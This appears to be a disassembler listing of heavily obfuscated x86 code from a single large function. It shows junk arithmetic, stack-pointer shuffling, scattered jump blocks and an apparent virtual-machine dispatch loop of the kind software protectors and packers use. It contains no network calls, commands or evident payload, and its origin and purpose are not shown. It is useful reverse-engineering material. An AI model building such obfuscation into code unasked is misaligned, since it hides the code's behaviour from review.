loc_5C029B:				; CODE XREF: sub_5A55E5+234D0j
		add	ebx, edi
		sub	ebx, 23BC35D9h
		push	7082h
		mov	[esp+8Ch+var_8C], edx
		push	ecx
		jmp	loc_5C4B92
; ---------------------------------------------------------------------------


loc_5C02B1:				; CODE XREF: sub_5A55E5+1EC14j
		xchg	eax, edx
		and	eax, 61C1790Bh
		push	ebx
		jmp	loc_5D19AC
; ---------------------------------------------------------------------------


loc_5C02BD:				; CODE XREF: sub_5A55E5+22751j
		push	1DC4h
		mov	[esp+98h+var_98], ecx
		sub	esp, 4
		mov	[esp+9Ch+var_9C], esp
		add	[esp+9Ch+var_9C], 4
		mov	ecx, [esp+9Ch+var_9C]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0A0h+var_A0]
		jmp	loc_5C7155
; ---------------------------------------------------------------------------


loc_5C02E9:				; CODE XREF: sub_5A55E5+21E04j
		push	esi
		push	esp
		jmp	loc_5D1DEF
; ---------------------------------------------------------------------------


loc_5C02F0:				; CODE XREF: sub_5A55E5+21C68j
		mov	esi, [esp+0A8h+var_A8]
		add	esp, 4
		push	5F05h
		mov	[esp+0A8h+var_A8], esi
		mov	esi, 725A665Fh
		xor	ebx, esi
		jmp	loc_5C71C7
; ---------------------------------------------------------------------------


loc_5C030D:				; CODE XREF: sub_5A55E5+21D26j
		mov	ebx, 43917A1h
		mov	eax, ebx
		jmp	loc_5D2C44
; ---------------------------------------------------------------------------


loc_5C0319:				; CODE XREF: sub_5A55E5+2ACBAj
		sub	ebp, ebx
		add	ebp, 62845F81h
		pop	ebx
		add	ebp, ebx
		push	ebx
		jmp	loc_5C2402
; ---------------------------------------------------------------------------


loc_5C032A:				; CODE XREF: sub_5A55E5+22571j
		xor	ecx, edi
		pop	edi
		jmp	loc_5D0F53
; ---------------------------------------------------------------------------
		mov	sp, word ptr [esp+0A4h+var_A4]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C033B:				; CODE XREF: sub_5A55E5+2A648j
		or	ebx, 538014B3h
		sub	ebx, 7FC677FBh
		add	edx, ebx
		pop	ebx
		jmp	loc_5C2569
; ---------------------------------------------------------------------------


loc_5C034F:				; CODE XREF: sub_5A55E5+27639j
		pop	esp
		mov	[esp+9Ch+var_9C], eax
		push	edx
		jmp	loc_5D3A7C
; ---------------------------------------------------------------------------


loc_5C0359:				; CODE XREF: sub_5A55E5+24FF4j
		mov	bp, word ptr [esp+0A0h+var_A0]
		add	esp, 2
		movzx	eax, ax
		push	small 214Bh
		mov	word ptr [esp+9Eh+var_A0+2], ax
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp+9Ch+var_9C], cl
		pushf
		jmp	loc_5C0606
; ---------------------------------------------------------------------------


loc_5C0382:				; CODE XREF: sub_5A55E5+2B9B8j
		mov	dx, word ptr [esp+0A0h+var_A0]
		push	eax
		mov	eax, esp
		jmp	loc_5D136E
; ---------------------------------------------------------------------------


loc_5C038E:				; CODE XREF: sub_5A55E5+26336j
		xchg	edx, edi
		dec	edx
		jmp	loc_5C6525
; ---------------------------------------------------------------------------


loc_5C0396:				; CODE XREF: sub_5A55E5+1AFF2j
		pop	esp
		jmp	loc_5CAA3D
; ---------------------------------------------------------------------------


loc_5C039C:				; CODE XREF: sub_5A55E5+2CEABj
		xchg	edx, [esp+0A0h+var_A0]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0A0h+var_A0]
		pop	esp
		mov	[esp+9Ch+var_9C], ebx
		jmp	loc_5CBD1A
; ---------------------------------------------------------------------------


loc_5C03B9:				; CODE XREF: sub_5A55E5+231FCj
		shr	esi, 1
		dec	esi
		sub	esi, 8BAF95D5h
		sub	ebx, 609C23A3h
		add	ebx, esi
		add	ebx, 609C23A3h
		jmp	loc_5C7CFD
; ---------------------------------------------------------------------------


loc_5C03D5:				; CODE XREF: sub_5A55E5+2E439j
		add	esp, 4
		push	65E3h
		mov	[esp+9Ch+var_9C], eax
		push	esi
		mov	esi, 4
		jmp	loc_5C5174
; ---------------------------------------------------------------------------


loc_5C03EE:				; CODE XREF: sub_5A55E5+27C30j
		sub	ecx, 4
		xor	ecx, [esp+0A0h+var_A0]
		xor	[esp+0A0h+var_A0], ecx
		xor	ecx, [esp+0A0h+var_A0]
		pop	esp
		jmp	loc_5C6473
; ---------------------------------------------------------------------------


loc_5C0403:				; CODE XREF: sub_5A55E5+2DA50j
		mov	esp, [esp+9Ch+var_9C]
		jmp	loc_5D088D
; ---------------------------------------------------------------------------


loc_5C040B:				; CODE XREF: sub_5A55E5+2ACC2j
		xor	[esp+9Ch+var_9C], ebx
		xor	ebx, [esp+9Ch+var_9C]
		mov	esp, [esp+9Ch+var_9C]
		xor	ebx, 768C148Bh
		sub	esp, 4
		mov	[esp+0A0h+var_A0], ebx
		push	[esp+0A0h+var_A0]
		pop	edi
		jmp	loc_5D11B8
; ---------------------------------------------------------------------------


loc_5C0429:				; CODE XREF: sub_5A55E5+24AC6j
		push	152Ah
		jmp	loc_5C9D0D
; ---------------------------------------------------------------------------


loc_5C0433:				; CODE XREF: sub_5A55E5+2588Bj
		mov	bh, 4Ah
		neg	bh
		sub	bh, 7Dh
		jmp	loc_5CD612
; ---------------------------------------------------------------------------


loc_5C043F:				; CODE XREF: sub_5A55E5+1B2AFj
		xchg	ebp, [esp+0A4h+var_A4]
		mov	esp, [esp+0A4h+var_A4]
		mov	[esp+0A4h+var_A4], edx
		push	4
		pop	edx
		add	ecx, edx
		mov	edx, [esp+0A4h+var_A4]
		add	esp, 4
		jmp	loc_5CEE58
; ---------------------------------------------------------------------------


loc_5C045E:				; CODE XREF: sub_5A55E5+2D420j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0A0h+var_A0]
		jmp	loc_5C17AD
; ---------------------------------------------------------------------------


loc_5C0470:				; CODE XREF: sub_5A55E5+2A86Dj
		pop	eax
		sub	esi, 20BC5BE4h
		jmp	loc_5C00EB
; ---------------------------------------------------------------------------


loc_5C047C:				; CODE XREF: sub_5A55E5+22F8Fj
		shl	edx, 1
		push	7921h
		mov	[esp+0A0h+var_A0], ebx
		jmp	loc_5C1E4A
; ---------------------------------------------------------------------------


loc_5C048B:				; CODE XREF: sub_5A55E5+274B7j
		add	esp, 4
		jmp	loc_5D0458
; ---------------------------------------------------------------------------


loc_5C0496:				; CODE XREF: sub_5A55E5+2AC75j
		mov	[esp+9Ch+var_9C], eax
		not	byte ptr [esp+9Ch+var_9C+1]
		mov	eax, [esp+9Ch+var_9C]
		add	esp, 4
		push	edx
		push	ebx
		mov	bh, ah
		mov	dl, bh
		pop	ebx
		mov	cl, dl
		mov	edx, [esp+9Ch+var_9C]
		add	esp, 4
		pop	eax
		xchg	cl, bl
		jmp	loc_5CE8B9
; ---------------------------------------------------------------------------


loc_5C04C0:				; CODE XREF: sub_5A55E5+21002j
		xchg	ebp, [esp+94h+var_94]
		pop	esp
		sub	esp, 4
		jmp	loc_5CDB58
; ---------------------------------------------------------------------------


loc_5C04CF:				; CODE XREF: sub_5A55E5+2E144j
		mov	[esp+94h+var_94], edi
		mov	edi, 1CBC5FA6h
		or	ebx, edi
		push	[esp+94h+var_94]
		pop	edi
		add	esp, 4
		push	ecx
		mov	ecx, 7CFD7FB6h
		jmp	loc_5CCFDA
; ---------------------------------------------------------------------------


loc_5C04EB:				; CODE XREF: sub_5A55E5+26141j
		mov	eax, 6CBF4EDCh
		mov	esi, 0EA39E9B7h
		add	esi, eax
		pop	eax
		not	esi
		jmp	loc_5C8329
; ---------------------------------------------------------------------------


loc_5C04FF:				; CODE XREF: sub_5A55E5+2E2E3j
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp+90h+var_8C]
		mov	edx, [esp+94h+var_94]
		jmp	loc_5D29C5
; ---------------------------------------------------------------------------
		push	[esp+94h+var_94]
		pop	eax
		jmp	loc_5D404E
; ---------------------------------------------------------------------------


loc_5C0522:				; CODE XREF: sub_5A55E5+2727Cj
		mov	edx, 113765AAh
		neg	edx
		inc	edx
		add	edx, 2AB59214h
		add	eax, 0B9C2538h
		sub	eax, edx
		jmp	loc_5C30CF
; ---------------------------------------------------------------------------


loc_5C053C:				; CODE XREF: sub_5A55E5+1C4CBj
		not	ebx
		sub	ebx, 0A7E4DDA6h
		jmp	loc_5CC15A
; ---------------------------------------------------------------------------


loc_5C0549:				; CODE XREF: sub_5A55E5+1A8BCj
		pop	ecx
		jmp	loc_5C1B80
; ---------------------------------------------------------------------------


loc_5C054F:				; CODE XREF: sub_5A55E5+29AE4j
		push	[esp+80h+var_80]
		pop	ecx
		add	esp, 4
		xor	bl, al
		push	ebx
		mov	bh, al
		push	edx
		mov	dl, bh
		push	ecx
		mov	ecx, 38h
		add	ecx, edi
		mov	[ecx], dl
		pop	ecx
		mov	edx, [esp+84h+var_84]
		push	ebp
		jmp	loc_5C1875
; ---------------------------------------------------------------------------


loc_5C0575:				; CODE XREF: sub_5A55E5+24AFCj
		pop	edi
		sub	ax, dx
		push	[esp+84h+var_84]
		pop	edx
		add	esp, 4
		push	eax
		push	ebx
		jmp	loc_5CCAD6
; ---------------------------------------------------------------------------


loc_5C058A:				; CODE XREF: sub_5A55E5+206D2j
		push	edx
		push	eax
		jmp	loc_5CED0E
; ---------------------------------------------------------------------------


loc_5C0591:				; CODE XREF: sub_5A55E5+1BEF4j
		rol	byte ptr [esp+90h+var_90], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 7A455764h
		add	eax, ebx
		push	7E8Dh
		mov	[esp+98h+var_98], ebx
		mov	ebx, 4A9F495Ah
		sub	ebx, 0FFFFFFFFh
		jmp	loc_5CB878
; ---------------------------------------------------------------------------


loc_5C05B7:				; CODE XREF: sub_5A55E5+214A5j
		add	al, ch
		pop	ecx
		add	al, 0D9h
		add	al, bh
		sub	al, 0D9h
		sub	al, 73h
		mov	ebx, [esp+94h+var_94]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+98h+var_98]
		jmp	loc_5C0396
; ---------------------------------------------------------------------------


loc_5C05DC:				; CODE XREF: sub_5A55E5+2386Bj
		add	eax, edx
		pop	edx
		mov	ebp, [esp+94h+var_94]
		add	esp, 4
		push	eax
		jmp	loc_5D0D7D
; ---------------------------------------------------------------------------


loc_5C05EB:				; CODE XREF: sub_5A55E5+28286j
		push	[esp+94h+var_90]
		mov	eax, [esp+98h+var_98]
		add	esp, 4
		pop	[esp+94h+var_94]
		mov	esp, [esp+90h+var_90]
		jmp	loc_5C9D5F
; ---------------------------------------------------------------------------


loc_5C0600:				; CODE XREF: sub_5A55E5+2E5A4j
		inc	ecx
		jmp	loc_5D2800
; ---------------------------------------------------------------------------


loc_5C0606:				; CODE XREF: sub_5A55E5+1AD98j
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C060B:				; CODE XREF: sub_5A55E5+2B6A7j
		pop	ebp
		jmp	loc_5D1F5C
; ---------------------------------------------------------------------------


loc_5C0611:				; CODE XREF: sub_5A55E5+1ED87j
		add	[esp+9Ch+var_9C], 4
		pop	edi
		add	edi, 4
		push	ebx
		jmp	loc_5C7B5B
; ---------------------------------------------------------------------------


loc_5C0622:				; CODE XREF: sub_5A55E5+25804j
		mov	al, dh
		mov	bh, al
		pop	eax
		pop	edx
		pop	eax
		jmp	loc_5CFBBF
; ---------------------------------------------------------------------------


loc_5C062E:				; CODE XREF: sub_5A55E5+2B209j
		xor	ecx, eax
		push	1267h
		mov	[esp+94h+var_94], ebx
		mov	ebx, 72134B30h
		sub	ebx, 0FFFFFFFFh
		jmp	loc_5C5E3B
; ---------------------------------------------------------------------------


loc_5C0648:				; CODE XREF: sub_5A55E5+2A95Aj
		push	edi
		push	ebx
		mov	ebx, 3FAB6DF7h
		mov	edi, ebx
		pop	ebx
		jmp	loc_5C1D4C
; ---------------------------------------------------------------------------


loc_5C0657:				; CODE XREF: sub_5A55E5+24185j
		add	edx, ebp
		pop	ebp
		jmp	loc_5CAB73
; ---------------------------------------------------------------------------


loc_5C065F:				; CODE XREF: sub_5A55E5+1EF2Aj
		pop	edx
		xor	ebp, 8838B2F4h
		mov	edx, ebp
		jmp	loc_5D3AE3
; ---------------------------------------------------------------------------


loc_5C066D:				; CODE XREF: sub_5A55E5+240C4j
		pop	edx
		mov	ecx, [esp+8Ch+var_8C]
		sub	esp, 4
		mov	[esp+90h+var_90], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5CE2BC
; ---------------------------------------------------------------------------


loc_5C0683:				; CODE XREF: sub_5A55E5+2013Bj
		sub	esi, ebp
		pop	ebp
		push	esi
		push	[esp+90h+var_8C]
		pop	esi
		pop	[esp+90h+var_90]
		jmp	loc_5C52BB
; ---------------------------------------------------------------------------


loc_5C0694:				; CODE XREF: sub_5A55E5+2CAB8j
		pop	[esp+8Ch+var_8C]
		push	ebx
		mov	ebx, 4
		add	[esp+8Ch+var_88], ebx
		pop	ebx
		mov	ebx, [esp+88h+var_88]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	624Fh
		jmp	loc_5D11E5
; ---------------------------------------------------------------------------


loc_5C06BE:				; CODE XREF: sub_5A55E5+21EDFj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5CC2BC
; ---------------------------------------------------------------------------


loc_5C06CC:				; CODE XREF: sub_5A55E5+29C54j
		mov	[esp+8Ch+var_8C], eax
		push	[esp+8Ch+var_88]
		push	[esp+90h+var_90]
		pop	eax
		push	edi
		push	esp
		pop	edi
		push	8FAh
		mov	[esp+98h+var_98], eax
		push	ebp
		push	esi
		mov	esi, 55D0123h
		jmp	loc_5C5362
; ---------------------------------------------------------------------------


loc_5C06EE:				; CODE XREF: sub_5A55E5+2C2E3j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_5D3813
; ---------------------------------------------------------------------------


loc_5C06FB:				; CODE XREF: sub_5A55E5+1FCC1j
		mov	[esp+80h+var_80], esi
		jmp	loc_5CD60A
; ---------------------------------------------------------------------------


loc_5C0703:				; CODE XREF: sub_5A55E5+274ECj
		mov	cl, al
		mov	bl, cl
		pop	ecx
		sub	esp, 4
		mov	[esp+80h+var_80], eax
		mov	ah, bl
		mov	cl, ah
		pop	eax
		push	[esp+7Ch+var_7C]
		pop	ebx
		jmp	loc_5CC1BF
; ---------------------------------------------------------------------------


loc_5C071C:				; CODE XREF: sub_5A55E5+2DE3Aj
		pop	ecx
		add	esp, 4
		pop	[esp+74h+var_74]
		mov	esp, [esp+70h+var_70]
		or	eax, eax
		jz	loc_5CA3C3
		push	dword ptr [edi+1Ch]
		push	[esp+74h+var_74]
		jmp	loc_5C9135
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+78h+var_78]
		jmp	loc_5C9F7A
; ---------------------------------------------------------------------------


loc_5C0745:				; CODE XREF: sub_5A55E5+234FEj
		sub	esp, 4
		mov	[esp+7Ch+var_7C], ebx
		jmp	loc_5C9543
; ---------------------------------------------------------------------------


loc_5C0750:				; CODE XREF: sub_5A55E5+24C96j
		pop	esi
		mov	eax, ecx
		pop	ecx
		add	eax, edi
		add	dword ptr [eax], 1
		push	[esp+74h+var_74]
		pop	eax
		push	2B09h
		jmp	loc_5C5AC2
; ---------------------------------------------------------------------------


loc_5C076A:				; CODE XREF: sub_5A55E5+2B84Bj
		push	eax
		jmp	loc_5C13B4
; ---------------------------------------------------------------------------


loc_5C0770:				; CODE XREF: sub_5A55E5+279A5j
		add	[esp+7Ch+var_74], edx
		pop	edx
		add	[esp+78h+var_74], edx
		push	edi
		jmp	loc_5BFF7B
; ---------------------------------------------------------------------------


loc_5C077F:				; CODE XREF: sub_5A55E5+27CCAj
		add	al, 0CAh
		push	[esp+7Ch+var_7C]
		pop	ebx
		sub	esp, 4
		mov	[esp+80h+var_80], edi
		mov	edi, esp
		jmp	loc_5C3C2A
; ---------------------------------------------------------------------------


loc_5C0792:				; CODE XREF: sub_5A55E5+2063Ej
		mov	eax, esp
		add	eax, 4
		jmp	loc_5D2F0D
; ---------------------------------------------------------------------------
		push	[esp+80h+var_80]
		push	[esp+84h+var_84]
		push	[esp+88h+var_88]
		pop	eax
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		jmp	loc_5C9152
; ---------------------------------------------------------------------------


loc_5C07BA:				; CODE XREF: sub_5A55E5+259D9j
		mov	ecx, 70515CB9h
		mov	ebx, ecx
		pop	ecx
		neg	ebx
		or	ebx, 0C6C25E8h
		push	ebx
		not	[esp+8Ch+var_8C]
		mov	ebx, [esp+8Ch+var_8C]
		add	esp, 4
		push	ecx
		mov	ecx, 46363F49h
		add	ebx, ecx
		jmp	loc_5C6B71
; ---------------------------------------------------------------------------


loc_5C07E1:				; CODE XREF: sub_5A55E5+2A882j
		add	eax, 3B0F0E3Eh
		sub	eax, 1F6C661Dh
		add	eax, edi
		add	eax, 1F6C661Dh
		sub	eax, 3B0F0E3Eh
		pop	edi
		push	edi
		push	ecx
		mov	ecx, 2991312Eh
		mov	edi, ecx
		pop	ecx
		and	edi, 2AD69D4h
		jmp	loc_5CD497
; ---------------------------------------------------------------------------


loc_5C080D:				; CODE XREF: sub_5A55E5+2D5B1j
		mov	ebp, [esp+8Ch+var_8C]
		push	edx
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp+94h+var_94], ecx
		push	edx
		jmp	loc_5D11F5
; ---------------------------------------------------------------------------


loc_5C0822:				; CODE XREF: sub_5A55E5+2BD84j
		push	ebp
		mov	ebp, 69134F7Ch
		jmp	loc_5CD99B
; ---------------------------------------------------------------------------


loc_5C082D:				; CODE XREF: sub_5A55E5+252F5j
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		jmp	loc_5CF5CF
; ---------------------------------------------------------------------------


loc_5C0844:				; CODE XREF: sub_5A55E5+21071j
		mov	ebp, 4
		add	[esp+0A0h+var_9C], ebp
		pop	ebp
		mov	esi, [esp+9Ch+var_9C]
		add	esp, 4
		push	468Fh
		mov	[esp+9Ch+var_9C], ecx
		mov	ecx, 4
		add	esi, 46694A80h
		jmp	loc_5C9D3D
; ---------------------------------------------------------------------------


loc_5C086C:				; CODE XREF: sub_5A55E5+1C825j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0A0h+var_A0]
		pop	esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5C043F
; ---------------------------------------------------------------------------


loc_5C0899:				; CODE XREF: sub_5A55E5+29955j
		and	ebp, 4B757B44h
		jmp	loc_5C7845
; ---------------------------------------------------------------------------


loc_5C08A4:				; CODE XREF: sub_5A55E5+29685j
		add	esp, 4
		pop	[esp+9Ch+var_9C]
		mov	esp, [esp+98h+var_98]
		mov	[esp+98h+var_98], ebx
		mov	ebx, 1
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_5C4A16
		push	1FBh
		jmp	loc_5C9FC4
; ---------------------------------------------------------------------------


loc_5C08CA:				; CODE XREF: sub_5A55E5+2569Cj
		pop	ecx
		add	bh, 81h
		add	al, bh
		pop	ebx
		mov	edx, [esp+90h+var_90]
		add	esp, 4
		sub	bl, 0F5h
		sub	bl, 77h
		jmp	loc_5D1B7C
; ---------------------------------------------------------------------------


loc_5C08E5:				; CODE XREF: sub_5A55E5+203A8j
		mov	esi, [esp+8Ch+var_8C]
		add	esp, 4
		push	75BCh
		mov	[esp+8Ch+var_8C], eax
		push	[esp+8Ch+var_88]
		mov	eax, [esp+90h+var_90]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+94h+var_94]
		pop	esp
		pop	[esp+90h+var_90]
		jmp	loc_5C70D2
; ---------------------------------------------------------------------------


loc_5C0915:				; CODE XREF: sub_5A55E5+1C4C4j
		pop	esp
		jmp	loc_5D3AA6
; ---------------------------------------------------------------------------


loc_5C091B:				; CODE XREF: sub_5A55E5+1C1BBj
		mov	edx, [esp+88h+var_88]
		jmp	loc_5C2607
; ---------------------------------------------------------------------------


loc_5C0923:				; CODE XREF: sub_5A55E5+20C2Ej
		add	ebp, eax
		pop	eax
		sub	ebx, 23B302A3h
		sub	ebx, ebp
		add	ebx, 23B302A3h
		jmp	loc_5C76F4
; ---------------------------------------------------------------------------


loc_5C0939:				; CODE XREF: sub_5A55E5+2D71Dj
		add	eax, 0EA103124h
		or	esi, eax
		pop	eax
		sub	esi, 57C74C9Ch
		push	edi
		jmp	loc_5D195B
; ---------------------------------------------------------------------------


loc_5C094D:				; CODE XREF: sub_5A55E5+29E55j
		mov	esp, [esp+84h+var_84]
		jmp	loc_5C84A6
; ---------------------------------------------------------------------------


loc_5C0955:				; CODE XREF: sub_5A55E5+1D8B1j
		push	edi
		push	7FB5h
		mov	[esp+8Ch+var_8C], esp
		jmp	loc_5C0088
; ---------------------------------------------------------------------------


loc_5C0963:				; CODE XREF: sub_5A55E5+1BEDAj
		add	esi, 1
		add	esi, 0F66FCFBAh
		mov	edi, esi
		pop	esi
		push	edi
		jmp	loc_5CE04C
; ---------------------------------------------------------------------------


loc_5C0978:				; CODE XREF: sub_5A55E5+21A0Bj
		push	esi
		push	esp
		mov	esi, [esp+94h+var_94]
		add	esp, 4
		push	edi
		jmp	loc_5C41A1
; ---------------------------------------------------------------------------


loc_5C0986:				; CODE XREF: sub_5A55E5+2531Fj
		mov	edi, 280C71ACh
		xor	edi, 18CD1EDCh
		shl	edi, 8
		sub	edi, 0C16F6FFCh
		add	esi, edi
		pop	edi
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		jmp	loc_5C8EE9
; ---------------------------------------------------------------------------


loc_5C09AB:				; CODE XREF: sub_5A55E5+25A28j
		push	[esp+90h+var_90]
		pop	esi
		add	esp, 4
		push	eax
		mov	eax, 46352116h
		jmp	loc_5D1217
; ---------------------------------------------------------------------------


loc_5C09BD:				; CODE XREF: sub_5A55E5+200C9j
		push	edx
		push	ebp
		jmp	loc_5C4E1A
; ---------------------------------------------------------------------------


loc_5C09C4:				; CODE XREF: sub_5A55E5+250D6j
		pop	esp
		push	eax
		mov	eax, 4
		push	edi
		mov	edi, 3170009Bh
		jmp	loc_5CD570
; ---------------------------------------------------------------------------


loc_5C09D6:				; CODE XREF: sub_5A55E5+27EE0j
		mov	esi, [esp+9Ch+var_9C]
		add	esp, 4
		xor	ebp, [esp+98h+var_98]
		jmp	loc_5D3376
; ---------------------------------------------------------------------------


loc_5C09E4:				; CODE XREF: sub_5A55E5+1F163j
		push	esp
		mov	eax, [esp+9Ch+var_9C]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5CD0A1
; ---------------------------------------------------------------------------


loc_5C09F6:				; CODE XREF: sub_5A55E5+20C8Dj
		pop	esp
		jmp	loc_5CE91E
; ---------------------------------------------------------------------------


loc_5C09FC:				; CODE XREF: sub_5A55E5+20F8Ej
		push	esi
		push	eax
		mov	eax, 62A5689Eh
		or	eax, 78F36508h
		sub	eax, 0B796CF6h
		mov	esi, eax
		pop	eax
		add	esi, 0F1312E7Ch
		mov	ebp, esi
		pop	esi
		push	ebp
		xor	[esp+0A0h+var_A0], 65E65EDDh
		pop	eax
		xor	eax, 65E65EDDh
		pop	ebp
		shl	eax, 3
		shl	eax, 8
		inc	eax
		sub	eax, 4E98F9F5h
		jmp	loc_5C4823
; ---------------------------------------------------------------------------


loc_5C0A39:				; CODE XREF: sub_5A55E5+20B57j
		xor	dh, 27h
		add	al, dh
		jmp	loc_5C7FD2
; ---------------------------------------------------------------------------
		lodsd
		push	esi
		push	7B0E4978h
		pop	esi
		jmp	loc_5C4F59
; ---------------------------------------------------------------------------


loc_5C0A50:				; CODE XREF: sub_5A55E5+1A73Fj
		mov	esi, 5FF4350Dh
		shr	esi, 5
		add	esi, 4A0F4EFAh
		sub	esi, 3C9CAF27h
		add	edx, esi
		jmp	loc_5C2B53
; ---------------------------------------------------------------------------


loc_5C0A6B:				; CODE XREF: sub_5A55E5+211A2j
		mov	[esp+96h+var_98+2], edx
		mov	edx, 7B5D7983h
		sub	esi, edx
		pop	edx
		add	esi, ebp
		jmp	loc_5C2FD8
; ---------------------------------------------------------------------------


loc_5C0A7D:				; CODE XREF: sub_5A55E5+2DCD1j
		add	esp, 4
		jmp	loc_5BF971
; ---------------------------------------------------------------------------


loc_5C0A88:				; CODE XREF: sub_5A55E5+20FC4j
		pop	ebx
		add	edi, 0D5CDE7DEh
		or	eax, edi
		mov	edi, [esp+8Ah+var_8C+2]
		add	esp, 4
		xor	eax, 0A696D6A2h
		add	edi, eax
		pop	eax
		add	edi, 4
		jmp	loc_5C3D01
; ---------------------------------------------------------------------------


loc_5C0AAA:				; CODE XREF: sub_5A55E5+232E4j
		add	esp, 4
		push	[esp+7Eh+var_80+2]
		jmp	loc_5C3B63
; ---------------------------------------------------------------------------


loc_5C0AB8:				; CODE XREF: sub_5A55E5+1D088j
		mov	edx, [esp+82h+var_84+2]
		add	esp, 4
		push	esi
		mov	esi, 26F70D7Ch
		shl	esi, 1
		push	ebp
		mov	ebp, 7EE94544h
		shl	ebp, 1
		and	ebp, 46905B0Eh
		push	ebx
		mov	ebx, 2C355C69h
		add	ebx, 25001022h
		sub	ebx, 47E3603Ch
		jmp	loc_5C66DF
; ---------------------------------------------------------------------------


loc_5C0AEB:				; CODE XREF: sub_5A55E5+2C730j
		push	eax
		jmp	loc_5C2EE0
; ---------------------------------------------------------------------------


loc_5C0AF1:				; CODE XREF: sub_5A55E5+1FDB5j
		xchg	edx, [esp+8Eh+var_90+2]
		jmp	loc_5CC9BD
; ---------------------------------------------------------------------------


loc_5C0AF9:				; CODE XREF: sub_5A55E5+23B4Bj
		push	ebx
		jmp	loc_5C2B15
; ---------------------------------------------------------------------------


loc_5C0AFF:				; CODE XREF: sub_5A55E5+2B5CAj
		xchg	eax, ebp
		not	eax
		xchg	eax, ebp
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		add	eax, 35F5C7BFh
		sub	edi, eax
		mov	eax, [esp+92h+var_94+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp+96h+var_98+2]
		pop	esp
		add	eax, edi
		jmp	loc_5CFFEC
; ---------------------------------------------------------------------------


loc_5C0B2F:				; CODE XREF: sub_5A55E5+286D1j
		add	edi, 4
		jmp	loc_5C1037
; ---------------------------------------------------------------------------


loc_5C0B37:				; CODE XREF: sub_5A55E5+2181Ej
		add	ebx, 3C757012h
		xor	ebx, 26BC7F45h
		xor	ebp, ebx
		pop	ebx
		add	eax, ebp
		mov	ebp, [esp+8Eh+var_90+2]
		add	esp, 4
		xor	eax, [esp+8Ah+var_8C+2]
		jmp	loc_5C3693
; ---------------------------------------------------------------------------


loc_5C0B56:				; CODE XREF: sub_5A55E5+23D6Aj
		sub	eax, 0FB50B21h
		add	eax, ecx
		add	eax, 0FB50B21h
		pop	ecx
		add	eax, 4
		jmp	loc_5C4F6C
; ---------------------------------------------------------------------------


loc_5C0B6D:				; CODE XREF: sub_5A55E5+29555j
		mov	ebx, 3DFF2E13h
		shl	ebx, 2
		or	ebx, 2CAB31A4h
		not	ebx
		push	0F4Dh
		mov	[esp+8Ah+var_8C+2], eax
		mov	eax, 8707F522h
		sub	ebx, eax
		pop	eax
		mov	ecx, ebx
		jmp	loc_5C7DB9
; ---------------------------------------------------------------------------


loc_5C0B94:				; CODE XREF: sub_5A55E5+203EFj
		mov	ecx, esp
		push	ebx
		mov	ebx, 485F35A5h
		or	ebx, 6DC91785h
		dec	ebx
		or	ebx, 19014C28h
		shl	ebx, 2
		neg	ebx
		push	eax
		mov	eax, 40881AE9h
		sub	eax, 3806199Dh
		sub	ebx, eax
		pop	eax
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp+86h+var_88+2]
		jmp	loc_5C5E91
; ---------------------------------------------------------------------------


loc_5C0BCA:				; CODE XREF: sub_5A55E5+2B2F0j
		add	eax, esi
		push	[esp+86h+var_88+2]
		pop	esi
		jmp	loc_5C99B5
; ---------------------------------------------------------------------------


loc_5C0BD5:				; CODE XREF: sub_5A55E5+25D9Dj
		sub	ebx, 2BE06B94h
		inc	ebx
		sub	ebx, 0E13A107h
		jmp	loc_5CA3B1
; ---------------------------------------------------------------------------


loc_5C0BE7:				; CODE XREF: sub_5A55E5+27807j
		sub	esp, 4
		jmp	loc_5CCFC4
; ---------------------------------------------------------------------------


loc_5C0BEF:				; CODE XREF: sub_5A55E5+28D5Bj
		mov	[esp+8Ah+var_8C+2], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		push	ecx
		push	[esp+8Eh+var_8C+2]
		pop	ecx
		pop	[esp+8Eh+var_90+2]
		mov	esp, [esp+8Ah+var_8C+2]
		sub	ch, 3Dh
		add	al, ch
		push	[esp+8Ah+var_8C+2]
		jmp	loc_5C3A66
; ---------------------------------------------------------------------------


loc_5C0C16:				; CODE XREF: sub_5A55E5+2C805j
		push	[esp+8Eh+var_90+2]
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5C6277
; ---------------------------------------------------------------------------


